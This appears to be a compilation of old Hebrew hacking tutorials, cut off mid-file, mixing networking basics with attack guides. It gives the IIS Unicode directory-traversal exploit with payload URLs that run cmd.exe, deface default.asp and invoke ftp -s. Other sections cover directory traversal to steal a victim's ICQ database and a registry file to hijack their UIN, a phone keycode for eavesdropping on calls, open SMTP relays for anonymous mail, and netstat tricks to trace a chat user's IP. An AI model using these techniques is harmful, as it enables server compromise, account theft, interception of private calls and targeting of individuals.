.עכשיו ,שימו לו ערך .1כאשר ערך 1פעיל אז הוא האפשרות כיבוי מבוטלת
? רוצים לעשות את זה יותר מהר
פיתחו קובץ חדש עם סיומת REG
++
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
]xplorer
”"NoClose"="1
++
.למחוק את הטיפים של הוינדוס כדי לחסוך כמה קילו בייטים מסכנים 3.
\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
Tips
.פשוט בחרו את הטיפים ומחקו אותם ע"י מקש מחיקה
הולכים ל
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
plorer
New > Dword
Name > NORUN Value > 1
כמו כן NOFIND
.הלך גם קיצור הדרך להגיע לשם דרך המקשים של המקלדת
158
.כדי להחזיר למצב מה עושים ,שמים לדבר החדש שעשיתם ערך 0או מוחקים אותו
.בשביל האקרים) .ביטול ההצגה של המתחבר האחרון לרשת בוינדוס נ.ט 5. )5
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlo
gon
Name > ReportBookOK Value > 1
.הממ אני לא בטוח שזה עובד בגיסראות החדשות של נ.ט 6 .אבל תנסו .
. .ביטול מסך בדיקת סיסמא בהפעלת הוינדוס נ.ט
----
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Poli
]cies\Network
"DisablePwdCaching"=dword:00000001
----
By Zeos
תיקונים Razor -
159
WAP - Wireless Application Protocol.
? מה במדריך זה
? WAPמהו *
!! - WAPרשימת הפלאפונים על פרוטוקול ה *
!?? איך אפשר לנצל את זה *
!! איך להיזהר לא להיתפס *
!! מושגים קשורים לנושא *
!! קרדיטים *
? WAPמהו
=========
- Wireless Application Protocol.הוא WAPראשי התיבות של
.הוא בעצם פרוטוקול תקשורת אשר נותן למכשירי פלאפון מידע כמו קו דיגיטלי ולא אנלוגי
רשת אנלוגית היא רשת פשוטה אשר לא מתוחכמת כמו שהטכנולוגיה עכשיו &
.רשת דיגיטלית הרבה יותר מתקדמת ויש בה הרבה יותר ישומים אפשריים &&
.משמש מכשיר פלאפון רגילים וגם טרמינלים של רשת פלאפון כלשהי -WAPה
.הוא גם משמש לישומי אינטרנט אפשריים &&&
- MMM.אמור להיות עליהם לוגו כזה - WAPכל המכשירים אשר כוללים את ה
.ומידע את הלקוח שהמכשיר שלו פועל בפרוטוקול הנ"ל MMM - Mobile Media Mode.
.והנה רשימה של פלאפונים ממש ממוחשבים כמו מין פלאפון שהוא גם מחשב אישי
Ericsson MC218
Nokia 9110 Communicator
Siemens IC35
160
.אפשר לצוטט למכשירים הנ"ל מפלאפון אחר אשר תומך בפרוטוקול
:דוגמא
? ממכשיר אריקסון אפשר לצוטט למספרי טלפון אחרים ,מה הבעיה פה
.שאתה לא יכול לבחור מספר שאתה רוצה ואתה לא יכול להצטרף לשיחה כצד שלישי
? איך עושים את זה
:אתה לוקח את המכשיר שלך ועושה ככה
904059, Menu, yes, 1, Rcl, yes, 8300**, yes, 86.
.במקום שתי הכוכביות אתה יכול שים את כל סדרי הספרות חוץ מ 00
(.אם אני לא טועה) : Rcl, 3, YESכדי לצאת מהמצב הזה אתה עושה
.אתה תשמע מישהו מדבר אתה לא תוכל לעשות כלום כדי להפריע לו או משהו כזה
'.אולי יהיה לך מזל ותשמע שיחה מהנה או שיחה שמועברים בה נתונים אישיים או חסויים וכו
!!! קרדיטים
===========
.קודם כל תודה למשפחתי האהובה שנתנה לי את הסיכוי לכתוב טקסט זה
'.אחרי זה אני מודה לאלוהים על כך שנתן לי ידיים ,רגליים וכו
.חחח סתם סתם
- PhoneL0V3r.יש פה קרדיט לחבר ותיק שלי ,פריקר כבר הרבה זמן
www.astalavista.com.תודה מיוחדת לו על שעזר לי בכתיבת מדריך זה .ולאתר
By Pirs[i]ng
תיקונים Razor -
161
פריצה לאתרים בעזרת יוניקוד
מבוא
יוניקוד הוא באג שנמצא ב iis 4.0/5.0שהם שרתי ה webשל winNT/win2kהבאג מאפשר
לתוקף להפעיל פקודות דוס מרחוק.
קצת היסטוריה
לפני כמה שנים (בתקופה שאני ישבתי ב bbsוהורדתי משחקים של ילדים אינפנטילים התגלה ב
iis 3.0ונראה לי גם ב 2.0באג שניקרא double dot
הוא נתן לאנשים לראות איזה ספריות שם רוצים פשוט על ידי
זה שהם רשמו משהו כזה:
www.someserver.com/..\..
אתם שמים לב ל
iss/4.0
?
אם לא אז אתם עוורים
הניצול ()exploit
טוב נתחיל עם הניצול הפשוט ואחרי זה נפרק אותו
אחרי שמצאתה שרת מתאים אתה יכול לפתוח חלון באקספלורייר ולרשום את הדבר הבא
\http://www.ServerName.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:
טוב
servername
די מסביר את עצמו
נעבור לדבר הבא
162
scripts
זאת הספריה שבה השרת מאכסן את ה
cgi
שלו במקום סקריפטס יכולים לבוא הדברים הבאים
sampels
cgi-bin
_vti _admin
_vti _bin
msadc
..%c1%9c..
זה התרגום של יוניקוד בגלל שני קוד תומך בהרבה שפות יש גם המון תרגומים שונים שיכולים
לעבוד במקומו
הינה רשימה קטנה
..%c1%1c..
..%c0%9v..
..%c0%af..
..%c0%qf..
..%c1%8s..
..%c1%9c..
..%c1%pc..
/winnt/system32/cmd.exe?/
החלק הזה צריך להיות קבוע הוא מוביל אותך אל קובץ
cmd.exe
שהוא הקובץ שמפעיל קובצי
*.bat and *.cmd
שהם קבצים שמכילים אוסף של פקודות בדוס שאותם
cmd.exe
מריץ אחת אחרי השניה
**********************************************************
טיפ :למי שרוצה לדעת עוד קצת על זה יכול למצוא ב
blacksun.box.sk
מדריך על
batch programming
***********************************************************
/c
זה אות הכונן שיושב עליו האתר זה עלול להישתנות
163
הראשונה היא
echo
בשימוש נכון הפקודה הזאת יכולה להכניס טקסט לקבצים וליצור קבצים
( :אבל כשמנסים לעשות את הדבר הבא (שאמור להכניס טקסט לקובץ
>http://victim.machine/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+Dfaced+
>+c:\inetpub\wwwroot\default.asp
זה לא פועל
מה שצריך לעשות זה להעתיק בעזרת
copy
את
cmd.exe
ל
c:\Inetpub\scripts
ואז יהיה אפשר לעשות את זה על ידי
http://www.hackmel.co.il/scripts/cmd.exe?/c+echo+blablabla+>>+c:\test.txt
www.serv.com//scripts/..%c1%9c../winnt/system32/cmd.exe?/c+ftp+-
s+c:\commands.txt
By y0g1-b3ar
164
"המדריך המקיף על ה"-טרוייני
.ועכשיו בואו נתחיל
טרויינים הם בעצם קבצים שמטרתם לפתוח שרת על המחשב שלכם ולהפעיל שרת זה כל פעם
.שמחשבכם עולה
מתאים ..יכול להכניס את האי פי שלך ][CLIENTואחרי שנדבקת בטרוייני ..כל מי שיש לו לקוח
בתור שרת ..את הפורט של השרת ולהתחבר אליך למחשב
:ובעזרת פקודות שהאיש שתכנת את הטרוייני קבע אפשר לעשות לך הרבה דברים ,כמו
גניבת סיסמאות ,כניסה לסיפריות ,כיבוי מחשב ,לראות סיסמאות ,לראות תמונות של המסך
,שלך
לפתוח ולסגור את הסידי-רום ,לשלוט בעכבר ,להפעיל תוכניות ,לשלוח הודעות ,והרבה הרבה
.יותר
שתוכנת ע"י ][BACK ORIFFICEאחד הטרויינים הפופולריים ביותר בעולם הוא באק אורפיס
cDc
Win NTוהוא כל כך פופולרי ,כי הוא מאפשר גישה גם למערכות
.וגם קוד המקור שלו שוחרר ,ולכן זה עושה אותו אפילו יותר מסוכן
פתרונות
```````
!אל תקבל קבצים מאנשים שאתה לא מכיר ..ואם הקובץ נראה לך חשוד ..מחוק אותו ישר *
שמוצאת טרויינים במחשבך ומוחקת אותם " "The Cleanerישנה תוכנה נהדרת שנקראת *
עדכן את האנטי ווירוס שלך כל שבוע *
\ : sockאתה יכול לפתוח את הקובץ לפי שהפעלת אותו דרך הדוס ולחפש מילים חשודות כמו *
או כל מילה אחרת שנראת לך שיכולה להיות חשודה port \ winsock \ server
( edit filename.exeכדיי לפתוח קובץ בדוס :פתח את הדוס > כנס לסיפירה של הקובץ > ולחץ)
דעתי האישית
לדעתי טרויינים זה לא נקרא פריצה כי אתה לא באמת פורץ .אתה רק מנצל אנשים תמימים .וגם
,אתה לא לומד מזה כלום
.וזה ישאיר אותך באשליה שפריצה זה משחק ילדים ושזה קל
..אם אתה באמת רוצה לדעת איך דברים פועלים ואיך לפרוץ ולאבטח דברים
אני ממליץ לך להכנס לאתרים של אבטחה ופריצות וללמוד ולקרוא טקסטים! והרבה! כי בסך
.הכל ידע זה כח
--
אתם יכולים להגיב\להעיר\לשאול שאלות בפורום ..ואני ישמח לענות
ואני מקווה שעזרתי לכם להבין מה זה בעצם טרוייני ואיך הוא פועל
By Rul3r
165
סאבנטינג
Z Q W X
------------------------------
| class a: | N | | H | | H | | H
166
------------------------------
| class b: | N | | N | | H | | H
------------------------------
| class C | N | | N | | N | | H
------------------------------
היא מראה מה זה מה ,מה מהם הנטוורק אידי ,ומה ההוסט אידי ומבדילה Subnet Mask -
.ביניהם
- SUBNET MASK.עכשיו נעבור לזיהוי ל איפי ללא ה
=========================================
|class a: | 1 | | 1-127 | | 126 | | 16777214
=========================================
| class b: | 10| | 128-191 | | 16384 | | 65534
=========================================
| class C |100| | 192-223 | | 2097152 | | 254
=========================================
:דוגמא
(]155.25.69.41 - Class B )quz 155 is between 128-191[class B
(]215.25.69.41 - Class C )quz 215 is between 192-223[class C
(]62.25.69.41 - Class A )quz 62 is between 1-127[class A
(! 377.2.3.5 - Not allowed )quz 377 is out of limit
(!213.2.2.0 - Not allowed )quz IP numbers rn't allowed to end with a 0
,התקן רשת הקובע את נתיב "חבילות" הנתונים אל יעדיהן ברשת Switch -
.קובע את יעד חבילות המידע בתוך הרשת
,סוג אי פי נייח ולא דינמי ,פחות נפוץ ביותר קיום Static IP -
,מובנה ברוב טכנולוגיות התקשורת החדשות ,חיבור הוא היציב ביותר והקל ביותר מבחינת זיהוי
,משתמש שהתחבר לרשת ישאר עם אותו אי פי לעולם
.לכל מחשב יש אי פי אחד או יותר שמובנים עליו ורק בהם הוא יכול להשתמש
,אז אנו מקווה שנהניתם ואנחנו יודעים שאתם בטח אומרים בלב בואנה זה חומר משעמם
.אולי הוא משעמים אבל הוא חשוב לכל מי שרוצה להתעסק ברשתות
.רק שתדעו ,חצי מהחומר פה מופיע במבחן הגמר של קורס של מיקרוסופט
167
דואר אנונימי דרך טלנט
.אני יודע שהיום יש תוכנות שעושות את זה ,אבל תמיד טוב לדעת שיטות נוספות
הוא שרת שאחראי על דואר יוצא ודרכו אפשר לשלוח דואר אלקטרוני smptשרת
(.פורט ברירת המחדל שלו הוא )25
:וככה זה עובד
:ואלו הפקודות2.
.מזהה אותך לפני השרת וקובע שאתה המקור של השליחה OLEHאו HELO -
פעולה שלכאורה לא עושה כלום אבל היא בעצם מחזירה פלט מהשרת אליך וככה NOOP -
.אפשר לבדוק אם אתה עדיין מחובר ומה המהירות של החיבור בינך אל השרת
(אני חושב שזה דיי ברור( ...מתנתק מהשרת QUIT -
.עזרה בקשר לפקודה מסויימת ]HELP - [topic
(יציג רשימה של הפקודות שניתנות לשימוש בשרת( .בד"כ דומה ברוב השרתים HELP -
מוחק את כל מה שהכנסתם עד עכשיו ,כתובת שולח וכדומה RSET - -
כתובת השולח >MAIL FROM - :<address
.מכניס את התאריך של כתיבת הדוא"ל ופותח את גוף המכתב DATA -
.שולח את המכתב ATUH - -
: - vrfy Rul3Rבודק אם המשתמש קיים בשרת .דוגמא VRFY -
כתובת היעד (ניתן לרשום את הפקודה הזאת יותר מפעם אחת ובכך RCPT TO:<recipient> -
(.לשלוח ליותר מאיש אחד
:הערות
.כל הפעולות שלכם נרשמות ,כולל למי אתם שולחים את האי פי שלכם וכל השאר+
בד"כ אם אין פעילות ברוב שרתי הדואר תוך 60שניות הקשר ינותק+
.היום יש תוכנות שעושות את זה+
רצוי לעשות את זה מאחורי פרוקסי+
לא כדי להשתמש בתוכנות כי לרוב הן לא נותנות להתחבר עם פרוקסי+
168
mail.iaw.on.ca:25 mail.atcon.com:25
pdx.sisna.com:25 future.net:25
jaring.my:25 aloha.net:25
chollian.dacom.co.kr:25 ovnet.com:25
all-yours.net:25 connect.reach.net:25
valley-internet.net:25
valleynet.com:25
milo.cfw.com:25
scs.august.com:25
hiwaay.net:25
169
252 Cannot VRFY user; try RCPT to attempt delivery )or try finger( /*מקבל תגובה
*שלישית מהשרת שאומרת שאין כזה משתמש/
quit /**שולח פקודה יציאה מהשרת/
221 ftp.netvision.net.il closing connection /**מקבל הודעת יציאה מהשרת/
Disconnected from netvision.net.il /**החיבור נותק/
By VoRtex
Rul3r תיקונים ותוספות
170
חשבונות Shell
:הקדמה
======
המדריך הזה נכתב אחרי מאות בקשות של אנשים שרוצים לדעת מה זה לעזאזל שאלל ,לשם מה
.הוא נועד ,איך משתמשים בו ולמה הוא טוב בכלל; על כל זה נרחיב במדריך הנ"ל
-.להיכנס לספרייה שאתם רוצים...בדיוק אותה הפקודה המוכרת ממערכת הדוס Cd
. -שנותן לכם לראות את תוכן הקובץ אותו אתם כותבים לצפייה cat
.פקודה האומרת לתוכנה להוריד את הקובץ מהלינק אותו תכתבו לידה Wget -
זוהי =תוכנה= אמיתית ,כמובן בלי שום גראפיקה ,ככה שאל תבהלו ,אבל זהו דפדפן lynx -
!האינטרנט המהיר ביותר בעולם....כי הוא פותח אתרים בצורה טקסטואלית
שוב =תוכנה= שנותנת לכם לערוך קבצי טקסט ,לתכנת! ,ועוד הרבה אפשרויות Emacs- -
!אחרות
171
.gzפקודה לפתיחת קובץ מכווץ שאתם מורידים מהאינטרנט מסוג Gzip - -
.והוא פותח קבצים מכווצים מסוג -GZIPזהו עוד כיווץ שבא בדרך כלל בייחד עם ה Tar - tar -
-פקודה מוכרת לכולנו...אין צורך לפרט אני חושב dir
...הקומפיילר לשפת ה שאי אפשר לזוז בלעדיו כמעט בלינוקס Gcc - C\C++
:עוד חשוב לציין ,שאפשר לראות את העזרה לפקודות\תוכנות המבוקשות בעזרת פקודת
help--Command
!עם רווח בין שני הפקודות
אם אתם רוצים לקרוא יותר לעומק את הפקודות או כל דבר אחר לתפעול הלינוקס ,השתמשו
:בפקודת
man
.וליידה את הפקודה\תוכנה\כל דבר אחר שעליו אתם רוצים לקרוא עוד
טוב ,עכשיו אתם בטח רוצים כמה כתובת מאיפה אפשר להשיג שאללים ,אז הנה ,ניתן לכם כמה
...כתובת של שאללים חינמים שלא מומלצים כל-כך ,אבל בכל זאת
nether.net
freeshell.org
אני לא יודע אם עדיין יש שם רשימות של שאללים ,אבל בכל זאתwww.cyberarmy.com/lists -
!תנסו
:אם אתם בכל זאת לא יודעים איך להתחבר לשאלל שלכם ,אז הנה
בפורט telnet yourshellhere - 23
BY CnTaX
172
פרוטוקולים.
IPS OSI
יש פרוטוקול אשר יוצא דופן מהשאר ..בגלל שהוא עובד על המרת תווים למספרים.
ARP – Address Resolution Protocol.
ויש אחד אשר עובד על העברת חדשות ,אבל הוא לא ממש מעניין.
NNTP – Network News Transport Protocol.
פה אני אתן רשימה של פרוטוקולים שלא נמצאים בשימוש ע"י כל אחד ,אבל שימושיים לאלה
שעובדים איתם.
מה הוא עושה ? שם הפרוטוקול !
ICMP – Internet Control Messageמשמש לבקרת שגיאות
Protocol
הקצאת IPבאופן ידני לרשת
DHCP – Dynamic Host Configuration
Protocol
RIP – Routing Information Protocolקביעת וקטור המסלולים ב – TCP/IP
SMB – Server Message Boxמשמש כ – Redirector
NetBios – Working under Sessionמשמש ל-קלט/פלט של שמות ()IP
NetBEUI – Working under Transportכמו NetBiosרק שזה לא תומך ב –
Routing Message
Wins - Windows Internet Naming Serviceמערכת לתרגום שמות ל.IP -
173
עכשיו נעבור לפרוטוקולים הנפוצים יותר והשימושיים יותר.
By Pirsing
174
מבוא לשכבת OSI
כשארגון התקנים הבינלאומי יצר את ה OSI-הוא חילק את פונקציות הרשתות לשבעה שכבות
והן:
______________
| | Application
|______________|
| | Presentation
|______________|
| | Session
|______________|
| | Transport
|______________|
| | Network
|______________|
| | Data Link
|______________|
| | Physical
|______________|
* שכבת Physical
השכבה הזאת היא בעצם הדברים הפיזיים ,שאפשר לגעת בהם כגון כבלים היא גם מגדירה כל
מיני דברים
כמו פינים בכבלים.
* שכבת Network
השכבה הזאת מאפשרת העברת נתונים בין השכבות ,השכבה הזאת יכולה לנווט ולשלוט
בחבילות.
יש עוד תפקיד לשכבה שהוא לתת כתובת לחבילות שנוצרו ע"י השכבה Transportשנסביר עליה
תיכף אתם
כבר תבינו למה היא נותנת להם כתובת.
* שכבת Transport
נגיד שאתה רוצה לשלוח מכתב לשרת מסויים אבל הוא שני דפים אז אתה שולח אותו בשני
חבילות,
השכבה הזאת ממספרת את החבילות מצד השולח והוא בודק שהם מסודרות לפי סדר השליחה
לפני שהוא מרכיב
הכל לדבר אחד.
* שכבת Session
175
כששני יישומים ברשת מתקשרים זה עם זה תפקיד השכבה הוא לקבוע איזה יישום מדבר ואיזה
ישיב,
השכבה גם מפקחת על כל מיני דברים אחרים למשל שפתאום החיבור לאינטרנט התנתק אז
השכבה הזאת היא
זאתי שמתריעה אותך שהחיבור לאינטרנט התנתק.
* שכבת Presentation
השכבה הזו בעצם מכינה את ההודעות לשידור ,היא משמשת גם להצפנה וגם לדחיסת נתונים
כדי שהעברה
תהיה מהירה יותר.
* שכבת Application
זוהי השכבה שבה אתה מבקש מה לעשות ומערכת ההפעלה עושה את זה ,כמו להוריד נתונים
ממחשב אחר
או כל דבר אחר ,השכבה שולחת את הבקשה לשכבת Transportומשם זה ממשיך.
Transport
||
||
TCP, UDP
176
Application , Presentation , Session
||
||
NCP, NETBIOS
,Emulation
,NETX, Btrieve
,NetWare, RPC
,STREAMS, TLI
SAP
Transport
||
||
SPX, IPX
]By [Twix
177
תרבות ההאקרים
הקדמה
בטקסט זה נספר קצת על התרבות של ההאקרים של ימינו ,נגדיר את סוגם ונאפיין כל אחד ואחד
מהם.
הטקסט אמור להבהיר את עמדתם של ההאקרים בפריצה לאתר או לשרת שהם בוחרים ואת
הסיבות.
אתם בטח שואלים את עצמכם ,מה לעזאזל אני רוצה מכם ולמה אני בכלל מוציא את החרבון
הזה לאור?
הסיבה פשוטה...כי אני פדופיל משועמם ואין לי מה לעשות בחיים חוץ מלמשש את כפתורי
המחשב.
ועכשיו ברצינות ,נתחיל!
רוב ההאקרים ,אפילו בלי ידיעתם של רבים מהם ,לא יודעים למה הם פורצים בשיטה אחת או
אחרת ,ולמה הם עושים נזק בלתי הפיך או נזק מזערי...אבל אנחנו ננסה להגדיר אותם במקומם.
אני בטוח שלא פעם ולא פעמיים נפגשתם באתר שנפרץ ,ורואים שכל לינק שאתם מנסים להתחבר
אליו דרך השרת ,מת.
הסיבה לזה פשוטה ,ההאקר שלנו ,מחק לא רק את כל העקיבות של הרשומות שעוקבות אחריו [
]LOGSאלא גם את כל תוכן האתר\השרת.
ולמה הוא עשה את זה? -גם כאן הסיבה בדרך כלל אחידה ,פריצה מסוג זה באה בדרך כלל
מסיבות גזעניות ,מה שבתקופה האחרונה אנחנו נתקלים בו הרבה למדיי...אז הבנאדם מחליט
שמאכסן השרת הזה חייב למות ושייקלוט את המסר שהוא לא רצוי פה...
עוד סיבה לפריצה מסוג זה ,באה בגלל שהבנאדם רוצה להשוויץ שהוא גורו [מין אליל] ושאף אחד
לא מסוגל עליו ,בגלל שהוא מחק מהייקום איזה שרת ערבי מסכן ,שלמנהל שלו אין במילא ממה
להתפרנס ,אז הוא אפילו לא מאבטח אותו כמו שצריך...אז ממה כבר יש לו להתלהב? -אז הוא
הריץ באג..אז הוא השתלט על השרת..מרגיש גבר אה?
אז שתדעו ,שרוב ההאקרים הם לא כאלה ,והם לא פועלים סתם בגלל דחפים לאומיים וכיוצא
בהם.
אז מה בעצם המטרה של ה"-האקר הלוחם" שלנו בפריצה?
המטרה היא להעביר מסר או נקמה[ ,בדרך כלל תוקעים איזה דגל ישראל ברקע].
הפריצה באה במטרה להרוס את היריב ולא שום דבר מעבר לכך...או בגלל שהבנאדם רק חזר
מאיזה דיסקוטק ביום שישי ואמא כבר במיטה עם המאהב ,אז אין מה לעשות ואין כוח
לישון[...והסיבה הזאת מוצדקת].
178
בזמן האחרון ,ההאקר החיובי תופס תאוצה ברשת ,כי רוב ההאקרים מבינים שאם הם ימשיכו
בדרך השלילית...זה יוביל אותם לקינוס המחשב שלהם ,ואולי אפילו לתיקים פליליים...אז בשביל
מה כל הבלאגן?
חשוב לזכור:
לא תמיד מנהל השרת יחשיב את הפריצה שלכם כמשהו חיובי ,ובכל רגע הוא יכול להסתכל על
הלוגים שלנו [רשומות] אלא אם לא מחקתם אותם ,ופשוט לדווח עליכם למשטרה או לספק
האינטרנט שלכם -שבשמחה יירצה לקחת ממכם את חשבון האינטרנט שלכם אפילו אם הוא
מרוויח מזה...
מסקנה:
אם אתם בוחרים ללכת על האקינג ,תחשבו טוב טוב איזה סוג של "פרצנים" אתם רוצים
להיות...תחשבו אם בכלל כדאי לכם להיכנס לעסק המלוכלך ,ואם כן ,אז שתדעו טוב יותר את
הדברים שלפניכם...
By CnTaX
179
מידע על IPוערוצים( )Portsעל-ידיי פקודת netstat
תוכן עניינים:
מבוא
א .שימוש בNETSTAT-
ב .פענוח ערוצים פתוחים
ג .שימוש ב NETSTAT-לגילוי מספרי IPשל משתמשי תוכנת ICQ
ד .שימושים נוספים
ה .כלים ועזרים
ו .טיפים שימושיים
ז .סיכום
מבוא
אתם קוראים מדריך של ארגון ההאקרים הישראלי ,אנא התעלמו משגיאות כתיב.
אני מקווה שתרכשו יידע מעמיק יותר מקריאת טקסט זה ,והעיקר הוא שתהנו מקריאתכם!
אני מציע שתדפיסו את הטקסט בכדיי שיהיה לכם נוח יותר לקרוא אותו.
קריאה מהנה.CNTAX ,
C:\WINDOWS>netstat
Active Connections
Proto Local Address Foreign Address State
TCP pavilion:25872 WARLOCK:1045 ESTABLISHED
TCP pavilion:25872 sy-as-09-112.free.net.au:3925 ESTABLISHED
TCP pavilion:31580 WARLOCK:1046 ESTABLISHED
TCP pavilion:2980 205.188.2.9:5190 ESTABLISHED
TCP pavilion:3039 24.66.10.101.on.wave.home.com:1031 ESTABLISHED
180
קרה לכם שמשהו מוזר קורה למחשב שלכם? הסי.די-רום נפתח בעצמו? המסך נכבה בלי
שכיביתם אותו? ואתם שואלים את עצמכם מה לעזאזל קורה פה?...ולפתע מבינים שמישהו פורץ
לכם למחשב בעזרת טרויאן(.)TROJAN
אז עכשיו המשימה שלכם היא לבדוק איזה טרויאן שלחו לכם ולהשמיד אותו נכון? ובכן אתם
צודקים.
אז לכו שוב ל .MS-DOS PROMPT-עכשיו יש לנו הרבה אפשרויות שאפשר להשתמש בהם דרך
NETSTATאז אתם יכולים לכתוב כך על מנת לקבל את תפריט העזרה של :NETSTAT
c:\windows>netstat help
(אולי אני אכתוב תוסף שיופיע בו התפריט במצב מתורגם)
תעיינו בתפריט ותחזרו לכאן...
קראתם?...אז בואו נמשיך...
אני אישית אוהב את הפקודה ( )c:\windows\netstat -anשמראה את כל הערוצים()PORTS
הפתוחים ואת כל החיבורים בצירוף כתובת ה IP-במקום שם השרת(.)HOSTNAME
עכשיו כשאתם יודעים לבדוק את החיבורים ,אתם יכולים לחפש ערוצים של טרויאנים כמו
NETBUS(12345הישן) כמו )SUB SEVEN(1243וכו'.
עכשיו כל מה שלמדתם יהיה מאוד שימושי לכל הצרכים שלכם שמייד תגלו ,אבל קודם לכו תעשו
הפסקה קטנה כדיי שכל המידע שקיבלתם עד עכשיו ייספג לכם טוב טוב למוח ותחזרו לפה
מוכנים ללמוד עוד!
האם אי-פעם רציתם להשיג את ה IP-של מישהו שעיצבן אותכם ב ICQ-אבל הוא היה מוסתר או
שפשוט לא הופיע? אני מתאר לעצמי שכן...אז בואו נלמד שיטה שתעזור לנו למצוא IPשל אנשים
שמחוברים ל ICQ-שלנו.
גילוי מספר IPשל משתמש ICQדרך - NETSTAT
בכדיי להשיג מספר IPשל המשתמש ,עליכם לפתוח את ה MS-DOS PROMPT-ולעשות
( netstat -nבכדיי לראות את כל רשימת הפורטים הפתוחים) לפני שהתחלתם לדבר איתו ב,ICQ-
רשמו את המספרים על דף או מסמך.
עכשיו הגיע הזמן לגלות את מספר ה IP-שלו .שלחו למשתמש הודעה עכשיו עשו במהירות netstat
-n
ותתווסף לכם שורה חדשה של מספר ,IPעכשיו גלו בעזרת הרשימה שעשיתם את המספר החדש,
עכשיו יש לכם את המספר של המשתש בלי להשתמש בכל מיני פריצות ופאצ'ים(שלא תמיד
עובדים) עכשיו אחרי לכדתם את המספר שלו אתם יכולים לעשות איתו מה שבא לכם! כיף לא?
ב NETSTAT-אפשר להשתמש להשגת IPשל כל דבר וכל אחד ,כל עוד יש חיבור ישיר בין שני
הכיוונים(בינך לבין התוכנה או בין המשתמש השני) לדוגמא:העברת קבצים ,הודעות ישירות,
צ'אט של ,ICQבמירק( )MIRCועוד...
181
ה .טיפים שימושיים
א .לפעמים NETSTATפולט רשימות ארוכות מאוד מה שעלול להקשות ולבלבל משתמש מתחיל.
אם אתם מתקשים ,פשוט תריצו את NETSTATללא שום פקודות ותיצרו קשר עם המשתמש
השני(על ידיי שליחת/קבלת הודעה מהמשתמש השני) ואז תריצו את NETSTATשנית .צריכה
להופיע שורה חדשה -זה מה שאתם מחפשים!
ב .יבוא בגירסא הבאה...
ו .לסיכום
אני מאוד מקווה שהמדריך העניק לכם יידע ושמעכשיו תתחילו להתנסות בדרכים מקצועיות יותר
כמו זו.
אני מבטיח שעוד הרבה מאוד מדריכים יגיעו בהמשך ויילוו אתכם לאורך כל הדרך ,עד שתהייו
איינשטיינים קטנים! טוב...אולי הגזמתי ):אז בקיצור תכנסו לאתר שלנו בכדיי להתעדכן בעולם
ההאקרים וכל העולם התחתון!
By Tricker
תורגם ע"י CnTax
182
אנונימיות בirc -
שלום לכולם במדריך זה אני יראה לכם כמה שיטות איך להיות אנונימי ב irc-כתבתי את המדריך
הזה מכיוון
שכל הזמן שואלים אותי איך להסתיר את האי פי שלי אז תקראו ותבינו אז יאללה נתחיל
שיטה :1-
במירק ישנה אפשרות לשרתים שתומכים בזה להסתרת האיי פי וזה הולך ככה
'( '/mode yournick +xבלי הגרשים)
זה אומר לשרת ircאם הוא תומך בזה להסתיר את האיי פי אם מישהו עושה עליך whois
את הצעד הבא תצטרך לבצע מהר לפני שתקבל פינג תכניס את השורות הבאות
/quote user god bikkel snikkel urnick
/quote nick urnick
By VB-Man
183
קיו.סי.פריצה לאי
קובץ הסבר על להשיג סיסמאות של משתמשים אחרים & להתלבש על המספר שלהם(בלי
.)הסיסמא
.)הרבה אנשים רצו לדעת איך לעשות את זה וזה ממש קל (למי שחשב שזה קשה
. אז עם לא עובד לכם אל תבואו בטענות, זה לא תמיד עובד- אבל יש בעיה קטנה קטנה
: תוודאו שאתם יודעים את הדברים הבאים- קודם
. והוא לא נגע בהגדרות שהאיסיקיו שם לא לאחר ההתקנה99 & שהוא הוריד את גירסא
. לא אני כתבתי את האיסיקיו אז מצטער,אני יודע שזה קצת מעיק אבל אין מה לעשות
.זה טוב לעבוד על ליימרים או אנשים שאתם יודעים מה קורה אצלהם במחשב
.& איפי של המשתמש שאתם רוצים לגלות את סיסמתו
.& מספר האי סי קיו של המשתמש שאתם רוצים לגלות את סיסמתו
הורידו את הקבצים הבאים.1
http://123.123.123.123/.html/....../db/UIN.idx
http://123.123.123.123/.html/....../db/UIN.dat
http://123.123.123.123/.html/....../db/UINmsg.dat
http://123.123.123.123/.html/....../db/UINmsg.idx
http://123.123.123.123/.html/....../db/UINhis.idx
http://123.123.123.123/.html/....../db/UINhis.dat
שימו את המספרUIN - החליפו במספר האיפי של הקורבן ובמקוםה123.123.123.123 - *את ה
.שלו
לא שמונה(הם השורות לגישה של התיקיה של האיסיוקיו של,**יש שש נקודות באמצע השורה
.)הקורבן
.כאן יש להשתמש באקספוילט אחר אשר לא בגכל הפעמים זקוקים לו
:פתחו קובץ טקסט חדש והעתיקו את השורות הבאות לשם.2
. למספר של הקורבן שלכםHACKEDUIN להחליף את המילה: *** לזכור
"HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN["Name"="Hacked UIN[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs[
Random Groups Version"=dword:0000000a"Online Color"=dword:00ff0000"
Unlisted Color"=dword:00800000"Offline Color"=dword:000000ff"
Authorize Color"=dword:00400080"Notify Color"=dword:00800080"
LastStatus Color"=dword:00008000"
""="Default File Dir"="C:\\Program Files\\ICQ\\Received Files""SMTP Address"
""="DND Message"="Please do not disturb me now. Disturb me later.""Out Message"
".Busy Message"="User is occupied. Only urgent messages will be delivered"
Chat Message"="I would like to chat about anything""Away PreNum"=dword:00000000"
Out PreNum"=dword:00000000"Busy PreNum"=dword:00000000"
DND PreNum"=dword:00000000"Chat PreNum"=dword:00000000"
File Options"=dword:00000004"URL Options"=dword:00000004"
Chat Options"=dword:00000004"All Options"=dword:0000000e"
"EXT Options"=dword:00000004"Startup"="No""Auto Away"="No"
"Auto Hide Time"=dword:0000001e"Auto Hide"="No""Move Server Top"="No"
"Blink In Tray"="No""Sort Lists"="Yes""Show Online List"="No"
"Remove AddFriend"="Yes""Splash Open"="Yes""History Last First"="Yes"
"FloatTop"="Yes""Thru Server"="No""Join Chat"="No""Open URL Browser"="No"
"Refuse File NotInList"="No""Overwrite ExistFile"="No"
"Disable Online Alert"="Yes""Accept Urgent In Busy"="No"
